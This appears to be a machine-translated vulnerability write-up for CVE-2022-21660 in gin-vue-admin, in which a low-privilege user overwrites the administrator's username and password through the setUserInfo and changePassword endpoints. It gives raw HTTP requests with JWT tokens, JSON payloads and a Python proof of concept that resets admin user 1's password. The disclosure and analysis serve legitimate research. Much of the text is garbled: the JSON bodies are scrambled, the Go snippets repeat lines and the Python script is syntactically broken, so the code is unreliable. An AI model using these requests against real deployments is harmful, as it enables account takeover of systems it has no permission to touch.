Share
## https://sploitus.com/exploit?id=7A7A063C-95DD-5DDA-AB15-D3E312EF1587
### Gin-Vue-admin Vertical Override Vulnerability and Code Analysis - CVE-2022-21660
### I. Introduction

Welcome to give the project a START!

``http
https://github.com/flipped-aurora/gin-vue-admin/
``

! [image-20211230151736779](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230151736779. png)

After the article was written, there was some trouble applying for the CVE, but luckily it was applied, and the github staff responded quickly

> ps Before applying for the CVE, the CNVD was submitted.

! [image-20220107161655217](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220107161655217. png)

### Second, build the environment

Follow the official tutorial

``bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
``

Then go to the server directory

```bash
go generate
``

! [image-20211230134341075](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230134341075. png)

```bash
go build -o server main.go
```

Then just run server

! [image-20211230134411233](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230134411233. png)

Followed by WEB, go to the web directory and type in

```bash
cnpm install || npm install
``

Then wait for the

! [image-20211230134632959](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230134632959. png)



Afterwards, the installation will be completed and the web page will be opened automatically

! [image-20211230135126848](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230135126848. png)

! [image-20211230135135212](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230135135212. png)

Subsequently initialize the setup database information

! [image-20211230135407388](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230135407388. png)

Once configured click initialize and log in

! [image-20211230135437587](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230135437587. png)

### III. Vulnerability Replication

### SetUserInfo is vertically overpowered.

##### 1. SetUserInfo interface oversteps its authority to set user's personal information.

Let's go directly to the user management page and add a new user role with low privileges.

! [image-20211230143853535](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230143853535. png)

You can see that the top does not give access to the administrator, next create a new account and assign it to this role group

! [image-20211230144026344](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230144026344. png)

! [image-20211230144005936](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230144005936. png)

The vulnerability occurs at https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go的第273行

! [image-20211230141604735](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230141604735. png)

```go
// @Tags SysUser
// @Summary Set user information
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, username, nickname, avatar link"
// @Success 200 {string} string "{"success":true, "data":{}, "msg": "Setup successful"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err ! = nil {
response.FailWithMessage(err.Error(), c)
response.FailWithMessage(err.Error(), c))
}
if err, ReqUser := userService.SetUserInfo(user); err ! = nil {
global.GVA_LOG.Error("Setup failed!" , zap.Error(err))
response.FailWithMessage("Setup failed", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "Setup succeeded", c)
}
}
``

There is no checksum on the incoming ID, which represents the user's, so you can modify the user's personal information by directly passing in the specified ID.

! [image-20211230141732113](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230141732113. png)

First we use the administrator's X-token test to change the name of the user with ID 1 to test1, then we can see in the backend that the administrator's ID has been changed to test1

! [image-20211230144216099](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230144216099. png)

So next, let's replace the Token of the new UzJu_HxSecTeam account we just created with the Token of the new UzJu_HxSecTeam account, and change the administrator username to test2

First, we UzJu_HxSecTeam account personal information > change password Here change the password, and then get the account Token.

! [image-20211230144321622](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230144321622. png)

This Token is for the low-privilege role, and a normal low-privilege user cannot change any information about the administrator

```http
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0 vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
``

We replace the Token in it and construct the following Json data

```json
{
"id":1,
"username": "test2",
"nickName": "test2",
"headerImg":""
}
``

! [image-20211230144527291](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230144527291. png)

We replace the Token with the setUserinfo interface

```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0 vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
x-user-id: 1
Content-Length: 67
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1, "username": "test2", "test2".
"username": "test2", "nickName": "test2",
"nickName": "test2", "headerImg":
"headerImg":""}
```

We are then prompted that the setup was successful

! [image-20211230144654682](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230144654682. png)

This is where we switch to the administrator account to see if it's been changed to test2

! [image-20211230144727266](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230144727266. png)

You can see that the administrator user was successfully modified

##### 2. SetUserInfo interface vertically overrides the right to change the administrator password unconditionally.

When Debugging, I found that the interface setUserInfo can not only set id, username, nickname, headimg, but also pass in password and other parameters.

! [image-20211230222713086](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230222713086. png)

For example, let's construct a request that sets the name of the user with ID 1 to admin, and the nickname to superuseradmin

! [image-20211230222755083](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230222755083. png)

```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ .rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1, "username": "admin", {"id":1, "username".
"username": "admin", "nickName": "super", "admin".
"nickName": "superuseradmin",
"Password": "qwe@123"
}
``

At this point, the administrator's password has been changed to qwe@123, try to log in

! [image-20211230222853109](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230222853109. png)

Then successfully logged in

! [image-20211230222906607](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230222906607. png)

### ChangPassword oversteps its bounds to change a user's password.

> PS: Here is a prerequisite, I need to know the password of the user I want to change.

First of all, we know that the default password of admin is 123456, at this time, we just need to construct the Json data, and change the username parameter in the Json data to the username we want to override to change.

First of all, we log in to the account with low privileges and change the password once.

! [image-20211230145433929](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230145433929. png)



We'll grab a changePassword request and subsequently put that request into the Repeater

! [image-20211230145506647](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230145506647. png)

Then we just need to change the username parameter to admin

! [image-20211230145615220](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230145615220. png)

We will then be prompted that the change was successful, and we will use the new password to log into admin

! [image-20211230145704428](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230145704428. png)

Then successfully logged in

! [image-20211230145725332](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230145725332. png)

The vulnerability appears at https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go, line 139

```go
// @Tags SysUser
// @Summary User changes password
// @Security ApiKeyAuth
// @Produce application/json
// @Param data body systemReq.ChangePasswordStruct true "username, original password, new password"
// @Success 200 {string} string "{"success":true, "data":{}, "msg": "Change Success"}"
// @Router /user/changePassword [post]
func (b *BaseApi) ChangePassword(c *gin.Context) {
var user systemReq.ChangePasswordStruct
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.ChangePasswordVerify); err ! = nil {
response.FailWithMessage(err.Error(), c)
response.FailWithMessage(err.Error(), c)
}
u := &system.SysUser{Username: user.Username, Password: user.Password}
if err, _ := userService.ChangePassword(u, user.NewPassword); err ! = nil {
global.GVA_LOG.Error("Modification failed!" , zap.Error(err))
response.FailWithMessage("Failed to change, original password does not match current account", c)
} else {
response.OkWithMessage("Modified successfully", c)
OkWithMessage("Change successful", c) }
}
```

> Here there is a controversy, that is, since we all know the account password of others, directly logging into his account is not it, indeed, but our program logic process here is that we have authentication is complete, normally I can only change the current user's current user's password, but here you can modify the ID to modify the other person's, think of it from another angle is also a violent crack can be, because the authentication page is a verification code checking, the current user can only modify the current user's password, but here you can modify the ID to modify the other person's, think of it from another angle is also a violent crack can be. Because the login page is a verification code verification.

### Fourth, the principle of vulnerability analysis

> ps: all the following content from a completely did not learn Go, did not do the development, only Python script boy's understanding of the

First of all, from the normal business logic to see why this will cause overstepping, in fact, the principle is relatively simple, mainly because we have a few mandatory parameters in the new role permissions, that is, these parameters, selected, the user has the opportunity to overstepping (but can not be unchecked, because this is the default mandatory parameters), in fact, ultimately, or in the code of the existence of the logic of the problem.

! [image-20211230162340184](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230162340184. png)

First let's see, after creating the new role, view the permissions of the role

! [image-20211230162510272](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230162510272. png)

As you can see, the default new user permissions, in the Roles menu, are the only ones that allow access to the dashboard, but when we look at the role's API permissions we see that

! [image-20211230162602998](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230162602998. png)

Here are a few mandatory permissions

+ User registration
+ Set user information
+ Get own information
+ Change password
+ Modify user role

This is where this vulnerability comes from, starting with setting up user information, if we uncheck the

! [image-20211230162752207](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230162752207. png)

Then we put the account Token of the low-privilege role group into Burp to try it out

! [image-20211230163029027](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230163029027. png)

```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ .rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1, "username": "admin", {"id":1, "username".
"username": "admin", "nickName": "super", "admin".
"nickName": "SuperUser Administrator", "headerImg".
"headerImg":""}
``

It can be clearly seen that at present, we no longer have permission to set these user information, and in Go's Debug page we can easily find that the code logic, for example, we do not have permission to set the user information, but in the code, theoretically, I accessed the interface, I Debug breakpoints should be able to intercept, but the following figure, after I placed a breakpoint, the The program doesn't stop.

! [image-20211230163258163](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230163258163. png)

From here we can tell that there should be a forensic operation before this operation (commonly rbac, I think) so let's set the user's permissions for the low-privilege role group now, and let's replay it again to see

! [image-20211230163401844](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230163401844. png)

! [image-20211230163437975](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230163437975. png)

We can see that the program successfully stops here, so I think (go geek) should be able to find the authentication here by Debug :)

First Mac down the command key left mouse button to find where to call this function

! [image-20211230172215924](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230172215924. png)

Then you can see that there is a function InitUserRouter which initializes the user route.

! [image-20211230172303694](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230172303694. png)

Then continue the old way, Command+left mouse button to determine where InitUserRoute was called

! [image-20211230172756447](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230172756447. png)

Note here that there is a JWTAuth() and a middleware.CasbinHandler()

JWTAuth(), or the old method Command + left mouse button

! [image-20211230173029571](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230173029571. png)

Then comes a jwt.go, where we can look at the logic (and of course thank the author for writing some comments)

! [image-20211230173337186](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230173337186. png)

The token:= in go should be equivalent to defining a variable to receive the x-token in the header of the request, the first thing is to determine if the token is empty, if it is empty then directly return the user is not logged in or unauthorized access

If it's empty, it will return that the user is not logged in or has illegal access! [image-20211230173515740](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230173515740. png)

The next step is to determine whether the user's token is in the blacklist, which should be determined by caching or when the user logs out, and whether the token is invalid, if it is invalid, it will return to tell the user to log in offsite or the token is invalid.

! [image-20211230173927005](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230173927005. png)

Here the ParseToken function is first passed to parse the token, you can follow along to see it

! [image-20211230174153376](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230174153376. png)

Don't understand what jwt.ParseWithClaims is. Traditional Arts, google.com

! [image-20211230174335903](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230174335903. png)

> https://www.cnblogs.com/taoshihan/p/15239208.html

~~ This is used for JWT encryption and decryption, and then returns a SigningKey, and then continues on from there ~~

Thanks to the author's instructions: here the incoming jwt token string is parsed to get the jwt.Token structure, and then the Claims are parsed from the structure to get the user information that was mounted on it when we generated the token.

! [image-20211230180325474](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230180325474. png)

I know through Google that ValidationErrorMalformed is used to determine if it is a wrong token, then ValidationErrorExpired to determine if it has expired, then ValidationErrorNotValidYet to determine if the token is active or not. Then it's time to return. Although there is another piece of code below

! [image-20211230181012200](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230181012200. png)

It then determines if the token has expired, and if it hasn't, it goes to reload, after which we come to middleware.CasbinHandler()

! [image-20211230181206422](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230181206422. png)

First go to utils.GetClaims and pass in one parameter

GetClaims and pass in a parameter ! [image-20211230181333671](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230181333671. png)

This function is used to get the x-token and then parse it to determine if it's expired, etc.

! [image-20211230185043326](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230185043326. png)

Then determine the role of the user, in this case 1234, which is the role group ID we set up in the web

! [image-20211230185135662](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230185135662. png)

! [image-20211230185217506](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230185217506. png)

Subsequently enter casbinService.Casbin(), the traditional arts, direct Baidu

! [image-20211230185413430](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230185413430. png)

Pretty much what I guessed before, rbac privilege control, here is the connection to the database, then here F7 single step step to look at it, dissuaded, can't read it

! [image-20211230191210935](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230191210935. png)

Look at the comment can be judged, here is used to determine the permissions

> Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).
>Input parameters are usually: (sub, obj, act).
> Enforce decides whether a "subject" can access an "object" with the operation "action", input parameters are usually: (sub, obj, act). act).

The input parameter is usually :(sub, obj, act). [image-20211230191631807](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230191631807. png)

It then determines if you are in the development environment, and then success equals false, where || or means either success or insufficient permissions.

Let's take a look at how the setuserinfo interface works when you have access to it. First, let's put a breakpoint in the interceptor.

! [image-20211230214215348](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230214215348. png)

> Tips: Through Baidu, I found that the casbin access control framework of golang is used here.
>
> https://blog.csdn.net/qq_42015552/article/details/104013264

Then we also put a breakpoint in setuserinfo.

! [image-20211230214247389](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230214247389. png)

Since the interceptor comes before setuserinfo in the program logic, we start the call from the interceptor

After burp sends the request, it waits, so let's debug it in a single step.

! [image-20211230214329911](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230214329911. png)

At this point our character group is 1234

! [image-20211230214503883](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230214503883. png)

This is followed by connecting to the database, and then after that by checking permissions

! [image-20211230215514485](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230215514485. png)

! [image-20211230215532447](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230215532447. png)

Here a true is returned, indicating that the permission exists, and then it is time to determine if it is a development environment or if SUCCESS is equal to true, and here it will certainly go through the first if.

Then it comes to the setuserinfo interface.

! [image-20211230220206889](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230220206889. png)

shouldBindJson binds the Json parameter

! [image-20211230220707383](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230220707383. png)

Subsequently here, it should be used to determine whether the incoming Json parameters are correct or not

! [image-20211230221153338](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230221153338. png)

The following directly substitutes the userid directly into it

! [image-20220104134548099](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220104134548099. png)

The ID here is passed in by our front-end and can be changed at will, so it leads to an override

! [image-20211230221415677](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230221415677. png)

! [image-20211230221432290](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230221432290. png)

Subsequently, after substituting into the database, the update returns the

! [image-20211230221556509](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230221556509. png)

This is followed by a successful update

The main authentication operations are in the CasbinHandler function in the file cashbin.rbac.go, casbinService.Casbin() and e.Enforce(sub, obj, act).

My understanding of the transgression here is that if you give permission to set user information, then by default this user can modify the user information in the permission rules, and then in the modification of the time, replace it with someone else's ID can be modified for someone else's

Here you can understand, the first forensic judgment is AuthorityId, to determine whether the user has the authority to operate a certain interface

The first thing you need to know is the AuthorityId to determine if the user has permission to operate an interface. [image-20220104131901466](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220104131901466. png)

But the ID used in setuserinfo is the user's account ID

! [image-20220104132137472](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220104132137472. png)

So it leads to the override, because this ID can be controlled when the front-end passes in, and has been forensic after the communication with the author, explained that the fix is also relatively simple, just need to force the user.id to be assigned to the JWT corresponding to the permissions of the ID can be, so it will not result in the override, because of how the front-end passes, and ultimately, there is a line of code in the code will be user.id will be modified to the value of the current JWT corresponding to the id. will be changed to the id of the current JWT.

But in the business process logic, these permissions must be given, because if not, there is no way for the current user to modify their information.

! [image-20220104135624752](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220104135624752. png)

### V. POC Writing

``python
#! /usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :UzJuSecurityTools
@File :Gin-Vue-Admin-Poc.py
@Author :UzJu
@Date :2021/12/31 11:20
@Email :UzJuer@163.com
'''

import requests
import json
import sys


class GinVueAdminPoc.
def __init__(self, url, token).
self.url = url
self.jwt_token = token
'''
define vuln interface
'''
# Method PUT Severity High
self.setUserInfo = "/api/user/setUserInfo"
# Method POST Severity Moderate
self.changePassword = "/api/user/changePassword"

def checkVuln(self):
'''
Because the default user ID of the administrator is 1, so, here we directly modify the user account with ID 1 to admin and the password to qwe@123
In practice, you can traverse the ID to determine which ID user exists, but the default user should be present in practice
The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
'''
payload_data = {
"id": 1, "username": "admin".

"nickName": "superadmin", "password": "qwe@", "password": "admin", "qwe@", "admin".
"Password": "qwe@123"
}
# Change the administrator password to qwe@123, because the default administrator ID is 1
headers = {
"x-token": self.jwt_token
}
result = requests.put(url=self.url + self.setUserInfo, headers=headers, headers.put(url), self.setUserInfo, headers=headers, headers.put(url=self.url + self.setUserInfo))
data=json.dumps(json.dumps(jwt_token), jwt_token)
data=json.dumps(payload_data)
)
if json.loads(result.content)['code'] == 7:.
print("[-]Modify the failure")
elif json.loads(result.content)['code'] == 0:: print(f"[+]Modify the failure")
print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")

def check_interface_ChangePassword(self).
'''
wait
'''
pass


if __name__ == '__main__': if __name__ == '__main__'.
pass if __name__ == '__main__'.
Banner_2 = '''

/$$ /$$ /$$$$$
| $$ | $$ |__ $$
| $$ | $$ /$$$$$$$$ | $$ /$$ /$$
| $$ | $$|____ /$$/ | $$ | $$ | $$ | $$
| $$ | $$ /$$$$/ /$$ | $$ | $$| $$ | $$
| $$ | $$ /$$__/ | $$ | $$ | $$ | $$ | $$
| $$$$$$/ /$$$$$$$$| $$$$$$/ | $$$$$$/
\______/ |________/ \______/ \______/
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
print(Banner_2)
url = sys.argv[1]
jwt_token = sys.argv[2]
main = GinVueAdminPoc(url, jwt_token)
main.checkVuln()
except.
print("[-]please input url and token")
``

The reason why check_interface_ChangePassword method is not written is because, here is a kind of brute force interface, because before changing any user's password, you have to know the password of the account that needs to be changed, which is like brute force, so it's not written here, and then there's the checkvuln method, which can change the id of any json data. payload_data this json data id, in fact, can be changed arbitrarily, can also be written as a for loop traversal, because in the actual environment is not sure whether the administrator's ID is 1, or the existence of malicious destruction, it can also cause some impact.

! [image-20211231143107127](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211231143107127. png)

### VI. CVE Application

> There is no need to mention the CNVD's, surely they have been submitted, here is the application for CVE.
>
> The GitHub application number is very fast, basically up to 3 days, here is the day of submission of the next day in the early hours of the morning to receive the CVE pre-assigned number.
>The following operations require contacting the author to help you.
> The following operations need to contact the author to help you operate, otherwise there is no New Draft security advisory this button.

! [image-20220107164730550](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220107164730550. png)

! [image-20220107165445797](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220107165445797. png)

! [image-20220107165519396](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220107165519396. png)

Description write the content of the vulnerability, reproduction process, POC on it, then click create draft security advisory

**Because it was our first time applying for this, we made a mistake and only listed a draft and didn't request it, which caused us to wait for 7 days for nothing***.

! [image-20220107165651894](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220107165651894. png)

When you're done writing be sure to pull down and go click on request cve id

! [image-20220107165714011](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220107165714011. png)

! [image-20220107165744293](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220107165744293. png)

> Reference article: https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg

### VII Acknowledgments

+ Author's team page: https://github.com/flipped-aurora/
+ Author's GitHub: https://github.com/piexlmax
+ Gin-vue-admin project address: https://github.com/flipped-aurora/gin-vue-admin